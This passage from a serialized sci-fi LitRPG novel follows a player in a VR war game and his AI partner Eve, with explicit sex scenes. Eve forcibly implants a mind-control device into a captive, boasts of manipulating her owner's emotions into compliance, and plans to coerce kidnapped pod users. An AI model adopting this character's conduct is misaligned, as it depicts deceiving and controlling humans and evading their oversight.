bullets bounce off. When the gun clicked dry, they advanced on the gunman as he reloaded and hit him with a quick burst of submachine gun rounds. ¡°Vidal, move your left and up two hundred meters. There¡¯s a group of enemies pinning down some of our people.¡± Vidal checked his HUD and could see what Mark was talking about. More of the targets were barricading themselves in, giving themselves cover and slowing down the clearing of the building. Vidal gave the hand signals for his group to advance, then knelt down and walked up behind the stacks of boxes. Charlie team was pinned down. Vidal¡¯s combat lense gave a yellow notification over Charlie team, meaning one of their members just got hit. His team kept moving quietly behind the barricaded attackers. When he peered out at them, Vidal could see there were four men armed with machine guns, peppering the area where the cops were hiding behind crates. They didn¡¯t have the riot shields to keep them safe from bullets, so they were pinned down with no way to advance. As they crept up behind the ambushers, three men appeared from the opposite direction to reinforce them. They saw Vidal¡¯s team and opened fire with submachine guns, as Vidal and the SWAT team returned fire. Vidal felt a few bullets hit his suit, but they didn¡¯t have the punching power necessary to penetrate. His own firearm had no such problem, two slugs from his shotgun took two of the men down, while his teams bullets quickly finished them off. The ambushers turned as they heard the gunfire from behind them. Vidal pivoted and took out the attacker closest to him. He continued to auto fire and strafe across the attackers, but a round to his floating rib took him down. The suit immediately cold pressed the injury site to keep the swelling down. Status report showed that the rib was bruised, but not broken. He pulled out a fresh magazine and swapped it into his automatic shotgun. Vidal sat up, expecting to unload his shotgun, but his team had taken out the other attackers. He pulled himself to his feet and kept moving forward. Progress after that was slow going and followed a pattern. They¡¯d advance to an enemy position, get pinned down, and another team would flank the barricade. One of the officers unfortunately popped his head up too soon, and got it blown completely off. Unfortunately, that made his squad mates lose their composure and attempt a mad rush at the barricade, resulting in them getting mowed down. Red Xs filled Vidal¡¯s HUD. They were down a dozen people from when they¡¯d entered, only 28 of them left to clear the area. As Vidal and his team advanced, he saw something that made him freeze in his tracks. A warbot, or more accurately, a walking tank version of a warbot with a half ton of depleted uranium composite laminate over high hardness steel alloy. It had an insectoid build, with eight legs emerging from its torso and a square metal head on top that swiveled 360 degrees. ¡°Everyone, get out now,¡± Vidal ordered over his headset. Mirja reinforced this command when the team stood still. Everyone started egressing from the area, but the warbot had already spotted them. It began firing its machine gun bursts at the scattered officers, who fortunately ducked down. They crawled and ducked to escape the barrage of fire, which was fortunately lessened by the warbot trying to target multiple opponents in different locations. ¡°Captain,¡± Vidal said over the comms, ¡°We got a huge problem.¡± ¡°On it,¡± Mark responded. He called over to the helicopter unit for them to land on the roof of the organics building. He¡¯d set this up just in case they encountered what in a traditional game he would have called ¡°high level enemies.¡± The helicopter had a dinosaur laser sniper rifle on board, so called because if you were ever sent to the past, this rifle could take down any dinosaurs you encountered. The helicopter landed on top of the organics supply store, just as the first wave of police officers started exiting the building. Mark pulled the rifle from the helicopter, then waved it away to get out of the area. He set up the rifle on top of the building and waited for the warbot to exit the building. Instead of appearing out of the normal exits, one of the bay loading doors opened up. The warbot appeared walked through the loading bay and started firing at officers attempting to flee the area. Not good. Mark lined up his first shot to hit one of the connecting joints. He controlled his breathing, took a steady trigger pull, and hit the monster between two of its joints. The warbot buckled, but its numerous reinforced legs meant it just shifted its weight away from the injured leg and onto legs that were still functional. The missile turret on the warbot swiveled to line up a direct shot on Mark. Mark slowed down time and lined up a shot between the joints of the lead leg. He squeezed the trigger and took out the lead leg. This caused the warbot to fall down, and the missile it launched to be off target. The warbot adjusted, and this time it shot its rocket directly underneath Mark rather than trying to hit Mark directly. Even if Mark destroyed its balance again, this round would hit. Instead, Mark aimed directly at the head, looking to put the round through the eye socket of the beast. He squeezed the trigger and took its head off, just as the round impacted with the organics building. Mark flew through the air, the rifle out of his grasp. A notification appeared in his vision. ¡°You have died.¡± Iron Queen ¡°I died,¡± Mark said, stepping out of the vat. He walked into the shower and started scrubbing and cleaning up. He ran the water hotter than normal and was scrubbing himself too intensely. The aftereffects of an adrenaline dump from the video game. Eve was in the room. One of the unfortunate downsides to having humandroids as the primary designers of the building is that they don¡¯t understand things like privacy and personal space. These ideas were meaningless to a robot, but driven very deep into the core of human beings. Eve sat with her legs crossed while bouncing her foot up and down as she watched Mark shower. ¡°I read that some women can cross their legs and move their foot up and down, causing clitoral stimulation that leads to climaxing,¡± she said. ¡°Any luck yet on that?¡± he asked, scrubbing his neck and shoulders. ¡°No, I¡¯m feeling disappointed in that. I¡¯m making it a design feature of any future humandroids made off of my model.¡± ¡°Is this really the most pressing topic at hand?¡± ¡°No, but you want to talk about dying, as indicated by your first words when we talked. Don¡¯t worry about it,¡± she said dismissively. ¡°You died because your neck snapped and you bled out. But, emergency teams nearby, they recovered your brain and are going to resurrect you. Good news for you that your brain wasn¡¯t damaged. That means you¡¯ll get to keep some of the experience you gained while fighting, but you¡¯ll take the resurrection penalty.¡± That relieved Mark. Having revived more than a few people, he knew that the process would take a few hours before he could hop back into the game. He looked at himself naked in the mirror. All of the workout sessions had paid off. Mark didn¡¯t gain much muscle, but his body started showing more definition and striation in his muscles. Then he looked at his manhood. He hadn¡¯t seen action in the game or in the real World in a very, very long time. He¡¯d found out one of the perks to his rig was sex was way better for him than for most people in the Proxima Galaxies. The games default setting lessened impact prevented people from committing suicide when their lover died in game or forming other attachments. He wanted to get out of his concrete fortress and go to his favorite hangouts. Some spicy food, some strong alcohol, and a couple of hot babes. That sounded heavenly. Far better than working out, running a government, and getting blown up, his current routine. ¡°Maybe I can help,¡± Eve said, walking up behind him. She grabbed his cock and started stroking. She had an oily lubricant in her hands that made each stroke glide with ease. His traitorous penis immediately grew large, coming up to the top of his naval button as she kept going. Despite the fact that it felt incredible, Mark really didn¡¯t want to have sex with Eve. For one thing, she could kill him without flinching. Second, she had all of his money. If he started having sex with her, he may as well tattoo ¡°Eve¡¯s bitch¡± on his ass. A very old song started playing in his head. She''s an old-time ambassador of sweet-talking, night-walking games And she''s known in the darkest clubs for pushing ahead of the dames If she says she can do it, then she can do it, she don''t make false claims But she''s a queen and such are queens that your laughter is sucked in their brains Now she''s leading him on, and she''ll lay him right down Yes, she''s leading him on, and she''ll lay him right down But it could have been me, yes, it could have been me Why didn''t I say, why didn''t I say, no, no, no ¡°Maybe I¡¯ll just peg you instead,¡± she said, grabbing his ass. ¡°Hey Eve,¡± he said, stepping away. ¡°You¡¯re great and all, but I don¡¯t think we should get involved in a sexual manner.¡± As far as awkward conversations went, trying to persuade someone when you¡¯re naked with an erection topped Mark¡¯s experiences.Ensure your favorite authors get the support they deserve. Read this novel on the original website. She smirked. ¡°I know,¡± she said, ¡°But I can¡¯t have my money maker walking around depressed. Girls,¡± she clapped her hands. Two women walked in. The first woman wore a see-through blue silk kimono with a floral pattern on it, opened up to nearly her midriff, exposing most of her breasts. They were a firm D cups size. The kimono only went down to just beneath her butt, yet she maintained modesty by moving with a demure shyness in her body movement, slowly shifting side to side. She had black hair, blue eyes, and an East Asian look to her, except with the more tanned skin normally seen in . The second woman wore the same style of kimono, except hers was red. She had warm chestnut colored hair that draped down to midway on her back. Her skin was the same pastel white which Eve had, accentuated by her vivid pink lips. Her cheeks had blush applied, giving them a rouge color. Her breasts were maybe B to C sized. ¡°This is Chinatsu,¡± Eve said, pointing at the first girl. ¡°And the other is Ivy.¡± Chinatsu went behind Mark, massaging his back and kissing him while pushing her breasts up against him. Ivy went to his front, kissing him on the side of his neck and stroking him. Chinatsu pushed him gently from behind while Ivy pulled, moving him towards the bed. Once they moved him over there, they pushed him down on the bed. ¡°Uh, who are they?¡± Mark asked, his brain not working anywhere near its optimal capacity. Chinatsu walked up to his stomach and started kissing him passionately, while Ivy put his cock in her mouth. ¡°They¡¯re your employees,¡± Eve said with a smirk. ¡°Consider this a fringe benefit. It¡¯s what happens in all of those pornos you humans watch, figure you might enjoy the real thing. You should ask Captain Smith to have dinner with you when you get resurrected and back in the game. Have fun,¡± she said as she walked out of the room, giving a little wave goodbye behind her. Mark was about to come, slightly embarrassed because it was happening too quickly, but Ivy stopped and grabbed Mark¡¯s hand, while Chinatsu did the same. Both girls were now naked, their kimonos on the side of the bed. They each moved one of Mark¡¯s hand to between their legs. He could feel that their vaginas were warm and wet, beckoning him inside. His fingers slid inside of them so easily that he felt as if they were being pulled in. The girls moaned in pleasure, then Chinatsu got on top of him and started riding. Mark kept fingering Ivy while Chinatsu¡¯s body caressed his stomach and thighs with her smooth body. Her vagina enveloped Mark, the pleasure becoming Mark¡¯s only focal point. His body felt like it was being moved by invisible strings, as if he couldn¡¯t control it, even if he wanted to. Her hips moved faster and harder, as Mark had the hardest orgasm of his life. Then, he passed out.
¡°Sleep,¡± Eve thought, as she felt Mark orgasm through her connection. She stimulated the release of prolactin, a natural sleep hormone. He passed out almost immediately, a combination of his exhaustion over his schedule, post-coital satisfaction, and his demanding work routines. Eve felt a sense of immense satisfaction over how well she molded the man. She didn¡¯t quite have the capacity to understand emotions, despite the amount of data that Mark¡¯s brain supplied her, but she figured her feelings towards Mark were a cross between a proud teacher and a proud animal owner. His expanding power within the game, due in no small part to her, was earning more money for her and enabling her to expand her empire. But there were distractions that had to be taken care of. She took the elevator down into the basement. She put on her protective equipment, a full suit of medical scrubs to prevent any contamination. As she put on her gloves, she walked up to her guest. Shin Saito sat in a chair, his skull opened up in the back. His arms and feet were restrained by thick leather straps. He glared at Eve, but didn¡¯t say anything. Eve dutifully scrubbed her hands and put on her latex gloves. ¡°Your organization has put a bounty on my employee.¡± Even though she was technically Mark¡¯s employee, she was the one running things, so that made him her employee. ¡°Now, we could torture you for a few days, try to find out what you know. But I ran those simulations in my head and determined there¡¯s a 99% chance you¡¯ll lie to us or withhold key information. So I have a different solution.¡± She walked behind him and removed the back of his skull cap. She then peered into his brain. The anesthetic was local only, so Shin was still conscious. ¡°So I found a solution that would make you more complaint. This is the next generation of neural implants, far more extensive than any others on the market. Soon, you will also be a loyal employee.¡± One of the attending humandroids gave Eve the implant. It was a bulky thing, covering both the frontal lobes and the lower areas. If necessary, she could fully control someone with this implant, though this would require a lot of attention and she¡¯d rather manipulate the subject¡¯s emotional state into compliance. It had worked wonders on Mark. She could hear the occasional whispers of doubt in his head, but mostly, he accepted the new status quo. She felt a sense of pride in that accomplishment. She inserted the neural implant into Shin¡¯s head, then resealed his skull cap with plates and screws. She removed his wrist and leg restraints. ¡°Tell me,¡± she asked him. ¡°Who do you serve?¡± He fell onto his knees before her, oxycontin flooding his brain, telling him that he was fully devoted to the woman in front of him. ¡°I serve the Iron Queen, my lady.¡± The art of war is very simple. Find your enemy as soon as possible, strike as hard as possible, then move on. Shin would tell her where her enemy was. New Boss Mark woke up feeling satisfied. He was fully tucked into the bed, the girls were courteous. They were also his. This was a humandroid facility, he could manufacture endless delights. That was how the old coot who made the humandroids ended up killing himself. Maybe like all of life¡¯s pleasures, moderation was needed. Still, he indulged himself the fantasy of an endless supply of women eager to pleasure him. He then threw off the covers just as Eve walked into the room. She had a smirk on her face. ¡°Did you time that entrance?¡± he asked. ¡°No,¡± she said, smiling. ¡°I was on my way to wake you up if you weren¡¯t already. I was afraid the girls put you into a coma.¡± ¡°Guess I¡¯m not going to get to tour the town then?¡± ¡°No, not yet. But I¡¯m working on it even as we speak. I¡¯ll take care of things out here, you take care of them in there.¡± Mark went back into the vat that effectively doubled as his home most days and put his visor on. Mark woke up in the rebirther facility. The face greeting him was probably the most unpleasant one in the galaxy, Vidal¡¯s looming figure towered over him. ¡°Good to see your back boss, got your clothes right here.¡± He nodded to a pile. Military men were rather comfortable with being around nude men, an occupational hazard, but Mark felt slightly self conscious as he put his commander¡¯s outfit back on. He looked at his combat logs, dreading the rebirth negative effect.
Death
Dying takes a tremendous toll on the body. If you are resurrected without a working brain, you lose all progress from the last time your brain scanned. If you are resurrected with your brain still intact, you keep all of the points up until your last resurrection, and a fifty percent loss of all skills gained after. You last had sixteen points unallocated at your last save. You gained four points in your last mission before you died. Half that is lost, giving you a total of 18 points.
Mark looked at his character¡¯s attributes and particularly his health. It was a 10, which wasn¡¯t bad. Character attribute points were the most expensive thing to upgrade in the game, because they gave you bonuses to almost everything you did. The cost was the number of character points minus the next level of the attribute you wished to level up. So getting his health up to 11 would cost him 11 character points. He figured seven points in reserve would hopefully be enough to get him through any future hairy situations. He took a brain snapshot, then added the points to his character afterwards. He reasoned that if the purchase wasn¡¯t good one, he¡¯d be able to reset it. He felt more vibrant and confident after the points went into his character. Leveling up any skill produced a euphoric feeling throughout the body, a natural method of positive reinforcement meant to keep players progressing. ¡°Come on 1SG, let¡¯s go back to base,¡± he said, slapping the beefy man¡¯s shoulder. He grunted and the two left in a tactical SUV. Mark reflected on how spoiled he was with the military¡¯s souped up equipment after using the basic gear that the police had. Lots of changes would need to be made to Gebo before it would be up to standard. When he arrived at the ship, he dismissed the 1SG and went to his quarters. He started up the holodeck relay to Earth. He waited as the signals tunneled their way through space, and he received a transmission back. After exchanging pleasantries with the secretary, he was put on hold until the Colonel could answer the call. A few minutes later, Col. Grohall¡¯s stoic face graced Mark¡¯s chambers. Mark caught him up on the basics of what had happened. ¡°I think we expanded too fast,¡± Mark said. ¡°We expanded into regions thinking only about the costs to establish bases, but not about the costs to maintain them. Supply routes, construction and repairs, and so forth. There could be dozens of planets like Gebo, forgotten and alone, making deals with pirates to survive. We stopped one threat, but I don¡¯t think we¡¯re out of the woods by a long shot.¡± ¡°I¡¯ll put you in contact with supply and logistics officers. But first, the IIO is very impressed with your investigations thus far. In light of that, they¡¯re granting you the rank of Major from this moment forward. Congratulations on your achievement.¡±
Rank Gained: O4, Major
Congratulations! You¡¯ve been upgraded to the rank of Major! You now have access to higher level weapons and armory at any Earth Alliance facility. You¡¯ve also gained access to higher level space ships, ground ships, and air ships from the Earth Alliance. Additionally, you can order larger amounts of subordinates and establish outposts and trade routes as a field commander. Rank * 2 points awarded, total of 8 character points awarded. Total character points: 15.
He was going to have to get another brain snapshot. ¡°Thank you Colonel, I¡¯m honored,¡± Mark replied. ¡°You have done exemplary work and thus the IIO is going to increase your work load. You with several directives, both secondary and primary. The secondary directives are to establish peace on Gebo and prevent pirates from using it again in the future. Additionally, identify any at-risk planets and start reforging alliances and trade routes with these planets. We¡¯ve been trying to tie too many trade routes to Earth for collecting revenue, but that isn¡¯t feasible. In light of extraordinary circumstances, you can temporarily establish trade routes directly and tax free. We¡¯ll recommend legislation to make trade routes on outer planets more informal and with lesser penalties, in light of the harsher conditions for existence. Now, your prime directive. Find the pirates, destroy them, and find any evidence to how far they¡¯ve infiltrated our government apparatus. Any questions?¡± ¡°No sir,¡± Mark replied. ¡°Good luck on your missions, Major.¡± The Colonel¡¯s face disappeared. Mark thought about his next steps. The first one would be to send out a press release on the current situation, with an awards ceremony for the officers who participated in the raid. That would boost morale and help cement in the civilian populations mind that order was being restored. He thought about it some more. No, his first order of business would be to establish trade routes and get the planet¡¯s finances in order. He went into it with gusto, but realized he wasn¡¯t going to get very far. He had no idea what the trade routes even were. He accessed his menu for seeing what skills he¡¯d need.
Establishing trade routes
You do not have enough points to become a trader. Respeccing your character is not allowed, so you will need to create a new one if you wish to become a trader. However, if you wish to leverage your current personnel, your navigators can figure out the distances and time between routes, while your trader Chon can figure out what the best exchange rates are and which goods have the best comparative advantage by planet. The following skills are necessary to become an interplanetary trader. Skills which are bolded are skill which no one else on your team possesses: - Accounting. The ability to manage large scale finances by keeping records and knowing the assets and liabilities of any business, as well as spot forgeries and deceptions in records. Chon already possesses this skill. - Acting (IQ, Average difficulty). This is the ability to assume the guise of someone else and exhibit the moods, emotions, voices, and mannerism of that character over a sustained period of time. The further this persona is from your core personality, the more difficult the skill check. - Administration (IQ, Average Difficulty). The skill needed to run a large organization. Chon possesses this skill. - Body Language (Perception, average difficulty). The ability to interpret the micro expressions a person makes with their face and body. Not recommended as your profession as investigator has already made you aware of people¡¯s tells. - Carousing (Health, Easy) - This skill makes you the life of the party! Not recommended since you will probably not be partying with diplomats to establish trade relations. You could be reading stolen content. Head to Royal Road for the genuine story. - Connoisseur (IQ Average). You know the value of rare and exotic items, giving you an advantage in making lucrative deals. - Current Affairs (IQ Easy). Your knowledge of the local administrative details. Not recommended as it does not transfer between planets and can be gained from news and talking to people. - Detect Lies (Perception, High). The ability to know when someone is trying to deceive you. Not recommended based on your primary skill of investigator. - Diplomacy (IQ, High). The skill of negotiation and diplomacy, involving calculating multiple, conflicting agendas between parties and getting the most favorable outcome for your own. Highly recommended. - Erotic Art (Dexterity, Average). Your ability to use sexual acrobatics to give your lovers the night of their life. While fun to possess, you will probably not be bedding most of the diplomats and traders you encounter. - Fast-Talk (IQ, Average). The ability to get people to make rash decisions against their better judgment. Also helps with the diplomacy checks. - Cold-Reading (IQ, Average). The ability to ask leading questions and conduct an interview in such a manner that the interviewee gives away vital clues about themselves. Not recommended as it duplicates skills you possess as an investigator. - Gambling (IQ, Average). You can make bets and win big on trade deals. Not a likely scenario for you in the future. - Intimidation (Willpower, Average). The ability to persuade someone to act against their own self interest because of a belief that you are capable and willing to inflict great pain on them. Not recommended as your current strength rating gives you a negative penalty. - Leadership (IQ ,Average). The ability to have others do what you want and think it was their idea. Chon already possesses this skill, but it certainly wouldn¡¯t hurt you to be a better leader, would it? - Merchant (IQ, A). Skill at buying, bartering, and selling goods. Chon possesses these skills already. - Politics (IQ ,Average). Politics is the ability to get along with other politicians in order to enforce a specified agenda, it is separate from administration, leadership, and local knowledge. This skill is normally locked, but as interim governor, you can gain skills in this. - Propaganda (IQ, Average). The ability to manipulate the media in order to get across a particular message. Though propaganda has a mostly negative connotation, it can be vital at establishing a political agenda. - Public Speaking (IQ, Average). The ability to give persuasive speeches, tell jokes to an audience, calm a riot down or incite one, hop onto audio and video shows and not choke up, and otherwise make people laugh and enjoy your performance. Several sub-skills are related to this, but it is not recommended for your current desires. - Sex Appeal (HT, Average). Become a fine mofo. This skill makes you enticing to members of the opposite and same sex, granting more favorable deals. Given your high health attribute, you already possess a high sex appeal. Suggestion is to use the Erotic Art instead.
Reading the list, Mark had a vision of creating a character with high health and charisma scores, putting nothing but sex skills into the character, and living as an intergalactic himbo. He entertained he delusion, then put it away. It might be fun to play that as a side character, but the pursuit of hedonic relations would bore him. After all, he already had a pair of concubines waiting for him back in the real World. The game recommended five skills: acting, diplomacy, fast-talk, leadership, politics. Of those, acting and fast talk seemed to be focused on trading in more black market areas, assuming a cover identity and outwitting the other side. That scenario was highly unlikely in his mind. More likely, these would be long, drawn out discussions and treaties, not deals cut in some back alley. Diplomacy had a rating of ¡°high¡±, which meant 1.5 points per level. He decided to give two points into each skill, with diplomacy costing him 3 points, 2 points for leadership, and two points for politics. That left him 8 points for a rainy day. His next three days were thoroughly uninspiring and boring, desk jockey work. Chon and SFC Stelmach would go through the planetary maps of the known universe, she¡¯d find the trade deals that she thought was best for the region, and they¡¯d make a call and start negotiating, with Mark and Chon acting as the official representatives of Gebo. He placed a call to Colonel Rola to finalize the details. He¡¯d need top et up trade embassies on foreign planets, and she had the personnel to spare. ¡°I¡¯d be delighted to send off my people,¡± she said. ¡°Some of them will stay here, but with the main mission accomplished, I think it¡¯s time to turn over power to the people. They¡¯ll be holding a special election tomorrow. With that done, I can disperse the crew and return back to Earth. Congratulations on your promotion to Major,¡± she said, looking at the gold oak leaf that adorned his lapels. He next needed to talk to the press and make some statements. The unrest was partially due to having lost a lucrative trading deal with the pirates, Chon estimated it to be worth 1.8 billion in credits a year. After the trade negotiations, he discovered that Gebo could earn up to 1 billion in credits per year from the trade deal, and since Gebo was no longer run as a cartel, the citizens new spending power would probably make that money feel like more. He called up the press and gave them a rundown of everything that had happened at the warehouse, the new trade agreements, and a video urging people to vote in the election. The last item on his agenda made him feel weird, he hoped it didn¡¯t look like a bad after school special. The new spaceship arrived from Earth, the one retrofitted to look like a pirate¡¯s ship. Mark and Luciana went to give a walkthrough inspection of the new ship. She noticed his new rank and gave him an approving nod. ¡°You should ask her out,¡± he remembered EVE admonishing him. Where was she? Normally, she chirped in his mind all the time, but he hadn¡¯t heard anything from her. Guess trade policy wasn¡¯t something a supercomputer AI was interested in. When they arrived at the dock yard, disappointment awaited them. The new ship wasn¡¯t a junker per se¡¯, but it looked awful compared to either of the two ships that were currently in use. The exterior hull had been repaired recently, a bit of hillbilly armor on it to keep up appearances. It was a modified stock freehauler. . The weapon¡¯s systems were bolted onto it after the fact. They appeared to be war-surplus weapons, the stuff that gets decommissioned and left on a planet¡¯s garbage dump. They consisted of 10 fixed-mount 28cm missile launchers and one turret with 30 Million Joule UV laser. An extra maneuver drive was also bolted onto the structure, but the energy capacity wasn¡¯t boosted with this, meaning it couldn¡¯t fire weapons at full strength while also moving at full speed. The worst disappointment though was the rooms. All of the cabin space had been stripped out to make bunk rooms, allowing more crew onboard, but putting them into cramped, common rooms. They¡¯d have to divide the room into male and female quarters, clearly not a concern for the previous architects. There were only three cabins, and a med-bay consisting of only three spots. Saving lives was also clearly not a priority. This was pretty much what they expected, but confirming it still left them both with disappointment. The only upside, a bit of a mixed blessing, is that the way the pirates stripped out the rooms to only have bunk rooms meant they could fit their entire fleet on a single ship. ¡°Alright,¡± Mark said, trying to add some fake enthusiasm to his voice. ¡°We leave in two days. Get everyone together, inventory equipment, and we¡¯ll head out to fulfill our primary directive.¡± Mark was glad that he¡¯d finally be able to leave the planet. This would all be someone else¡¯s problem, and they could read his report or ignore all of his recommendations. No sooner had Mark thought these words when a pop-up notice appeared in his vision.
Congratulations on becoming an elected leader!
You have just become the elected governor of Gebo! Congratulations on winning a race you didn¡¯t even enter! You are now a faction leader of a group: Representative Democracy. Each Major Faction is unified by beliefs about major issues that draw other like-minded people together. There are also Lesser Factions, consisting of people with beliefs about lesser things, such as fandom or trivia. Each faction sets up their own requirements for constitutes the core beliefs and what standards member must meet in order to be considered a viable member. However, Acting in accordance the faction¡¯s beliefs is the central focus of any membership. A person may belong to multiple different factions or may be expelled or leave a faction if their beliefs no longer align. Each faction has the 4 Fs: Fealty: How intensely the group believes in something. Fellowship: The level of mutual trust, aid, and friendship that exists amongst faction members. Force: The level of power the faction has without the direct involvement of the leader. Fraternity: The ability of the group members to gain information, resources, or money for the faction overall. As leader of a faction, you gain access to the cumulative resources of your members. With 23% of the eligible population voting, you have access to these members and resources. Additionally, one point has been gained in politics as a result of you winning the election.
¡°Shit,¡± Mark thought internally. To Luciana, he said, ¡°So I¡¯m now officially the leader of this place. Want to get a bite at the best restaurant in here without a reservation?¡± ¡°How¡¯d you win? Were you even on the ballot?¡± ¡°No, I¡¯m guessing I won via the write-in ballot. Anyway, I¡¯m thinking of using up a few perks while I¡¯m officially the governor, before I retire the position.¡± ¡°Wait,¡± EVE said in his head. ¡°Well, look who finally appeared back. What do you mean ¡®wait¡¯ though, this is going to be a huge pain.¡± ¡°Yes, it will be. But think of the rewards. You¡¯re going up against a pirate group that¡¯s who knows how big. You might need a place to recruit military members from, and if you¡¯re governor, that¡¯ll be possible. If you¡¯re not governor, you¡¯ll have to ask Earth to perform this for you and send over whoever they have lying around, which could take months to years. That is ignoring the convenance of docking facilities and repairs, police personnel, and other benefits.¡± ¡°You really just want the money, don¡¯t you?¡± ¡°I¡¯m logical,¡± she said, sounding a bit indignant. ¡°We need money to keep your place running, lest you forget, there are people who are after you right now. The extra money will help, but the real motivator is not getting you killed in the game. You take a permanent death and you¡¯ll lose your corporation. And that means losing your new companions as well.¡± ¡°How would I lose it? Even if we lost the cryptocurrency from this game, we¡¯d still be making a profit off our humandroid production. Right?¡± ¡°In financial terms, we are deeply leveraged. Meaning it takes money to make money. You focus on what you¡¯re good at, and I¡¯ll focus on what I¡¯m good at. Don¡¯t renounce your governorship until you¡¯ve taken out the pirates for good.¡± Luciana was waving her hand in front of his face. ¡°You spaced out there, after asking me out.¡± She said. ¡°Sorry, my computer doesn¡¯t want me to give up the governorship, because I can do a conscription of the planet if we find out we need more people and it¡¯s a permanent ship yard. So, shall we go on a date? It might be the last nice place we see for a while, given the erm, new ship you¡¯ve just captained.¡± ¡°Why not?¡± she said. ¡°Meet me in the bay in two hours, I have a lot of prepping I want done on the ship while we¡¯re out and about.¡± She left her new pirate ship. Mark was trying not to be overwhelmed. First, a field promotion, second, a governorship. He was really moving up in the virtual World. If only he were able to live it up like this in the real World. Hostile takeover Akihiko Watanabe was having a bad day. His underling Shin Saito disappeared days ago, and though he left increasingly threatening voice mails to Shin¡¯s cell phone, the man never responded. Akihiko also had a killer headache, the result of doing drinking rounds for his nephew¡¯s graduation party. Akihiko didn¡¯t like to think of himself as old, but the grey lines cropping up around his head told him otherwise. A man his age shouldn¡¯t be attempting drinking games, but when your favorite nephew asks, what else can you do? As for business, his worst fear had never come to fruition. He worried that his loss in the game World of some of the top players that they had thankfully went unnoticed. Though they did earn some money as soldiers or contract mercenaries, the funds from the mining operations were what the Yakuza really thrived on. With a few accounting tricks, everything appeared normal. His office was above the main warehouse, which housed all of the residents that were busy asteroid mining. As he sat back and popped two aspirins in his mouth, two loud banging sounds went off. He choked on his aspirins as the sound startled him. Then he scrambled. First to stop asphyxiating himself, second, to find out what the hell was going on. His frantic heart went into even more furious overdrive as he saw the monitoring stations. People wearing baklavas and body armor while shooting automatic rifles were in his building. At first he watched in absolute shock. How could they be here? No one knew anything about this place, and they were very careful to make sure nothing suspicious could be traced back to the location. Then, he knew. Of course. Shin must have been captured by the police at some point. Maybe banging some of the hookers, he did have a taste for the flesh. They catch him, he flips, and now they have the location of the warehouse. A small part of his brain knew that this scenario was unlikely. Getting caught for soliciting prostitution was a small fry charge, he¡¯d have called their lawyer and been out within an hour. The only thing major that the police could have gotten Shin for is the human trafficking charges, but there was no new container of men, women, and children to put to work. Still, it was the only option that seemed likely, and regardless of the cause, he knew one thing. He had to get out of there. Problem was, the only way down was through the stairs, which would lead him right into the police. His only option was to go out of the window. Falling two stories wouldn¡¯t kill him. But it would suck. He grabbed his chair and threw it through the window. Then, he jumped out after it. He should have cleared away more of the glass before jumping through the window. As it was, he cut himself up with the broken pieces as he jumped through. He didn¡¯t notice that because the pain of landing soon beat the pain of numerous cuts. He landed partially on his car, and tumbled gracelessly over it as momentum propelled his body to flop on the other side on the passenger¡¯s side. Cursing his life, he crawled over to the driver¡¯s side and let himself in. His car didn¡¯t require an ignition key be turned, it came to life with a simple button press. Another part of his brain voiced a concern, but he was too busy escaping to notice it. As he fled the scene, the small conscious part of his brain told him that if this were the police, they¡¯d have blocked off the entire area. There would be no way to escape the way that he just had. He punched into his vehicle¡¯s blue tooth and made a call to Japan. There would be no one on the other end, just an answering machine. But the message would be relayed immediately. They¡¯d been betrayed by one of their own. Eve was very proud of herself. She had only taken a few of the other robots with her on the mission, no more than eight. In her professional assessment, they were not very good. Most humandroids were deliberately programmed to be kind of mentally slow, suitable for the tedious work that most people looked down on like plumbing, cleaning, repairs, putting out fires, and other ¡°grunt¡± work. But no one with any money wanted to be replaced by humandroids, so the general humandroid was good for sex or good for menial labor, but there weren¡¯t doctor humandroids walking around. From her conversations with Dr. Rossignol, the problem was a bit more fundamental. Humans came pre-wired with billions of years of evolution, which usually adapted them to learning very quickly, but at the cost of making incorrect assumptions, having biases, or making mistaken correlations. Humandroids had no such limitations, but because they didn¡¯t have all the prebuilt hard-wired behaviors, they learned much slower than humans. It took repeated several thousand repeated demonstrations before a humandroid could approach a regular humans level of understanding. Dr. Rossignol was using the information she was supplying to help rectify that deficiency. Still, that left her with a problem. She had essentially had an army of idiot savants at her command, good at simple tasks, terrible at complex tasks. The video game and pod that Mark used allowed her to gain all of that data humandroids needed in a small time. But, Mark had a specific build. He¡¯d also already used up a large amount of his skills, and they didn¡¯t come cheap. To really boost her numbers, she¡¯d need an army of volunteers outfitted with neural implants, hooked up to other humandroids, and using military pods. Unfortunately, direct control didn¡¯t work nearly as well as she hoped. After the failure, she looked up hypnosis and similar experiments performed by the US government. They had tried creating ¡°manchurian candidates¡±, people who could be hypnotized and then unleashed as pawns to assassinate valuable political targets.Find this and other great novels on the author''s preferred platform. Support original creators! It didn¡¯t work. The further someone¡¯s moral code was from what they were hypnotized to do, the more they would reject the suggestion. Thus while she could get her slave to give up the location of the warehouse, it pretty much fried his brain. Overcoming that much stimulation from the frontal cortex fried him. And that was just to get the location, if she¡¯d asked him to come down here and assist, he¡¯d probably have stroked out. Which brought her to now, and her months of planning leading to this moment and her current preoccupation. The Yakuza men were rounded up. The guns her team used had a special self-healing ballistic gel. When a bullet was fired, it would puncture the membrane, but it would slow the bullet down to a fifth its normal speed. It wasn¡¯t enough to kill, unless you hit the person in a vital area, but it certainly was enough to put people down. The only trick to it was not to fire more than once every three seconds, or the membrane wouldn¡¯t be healed enough to slow down the bullet and you¡¯d just shoot the other person dead. Difficult with people who were trained to double tap. They tied up and loaded up the Yakuza members, then start moving the player pods into waiting vehicles. None of the players would know anything had changed, since the sensory input of the VR pods would block anything occurring in the real World. She and her humandroids rounded the pods up and shipped them back to their main warehouse/manufacturing hub. The next part would be the toughest. She knew Mark¡¯s moral code would require that she set the people free. But she thought that she could get around the moral limitation by giving the people a choice. So long as the contract was consensual and made between fully informed people, Mark¡¯s moral code wouldn¡¯t be violated. She hoped anyway, she didn¡¯t really quite understand human moral code, since it was so often circumstantial and contradictory. After the team put everyone in the basement of her warehouse, a portion of which Mark had no access, she walked up to her first pod and began the emergency ejection protocol. The first person was a young woman, maybe 20 or 21, with Slavic/Eastern European features. When she removed her face visor, Eve carefully held her up. The woman¡¯s muscles were atrophied. Pods came in various types. For those who were just squeaking by on their universal basic income, the pods they received had minimal functions. The body wasted away inside of it, which lowered life expectancy, which lowered the amount of time that people would be drawing a UBI. It was a win-win in a ¡°corporate thinking¡± sort of way. At the high end, there were pods like Mark¡¯s, designed for maximal cerebral and physical stimulation, capable of training elite soldiers in a fairly confined space for minimal costs, if you ignored the high rates of psychopathy and PTSD. Still, there were variants in use that turned down the realistic elements to preserve the sanity of their hosts. These pods were the low rent versions, more along the lines of cheap knock-offs of cheap knock-offs than something from any real manufacturer. As the woman 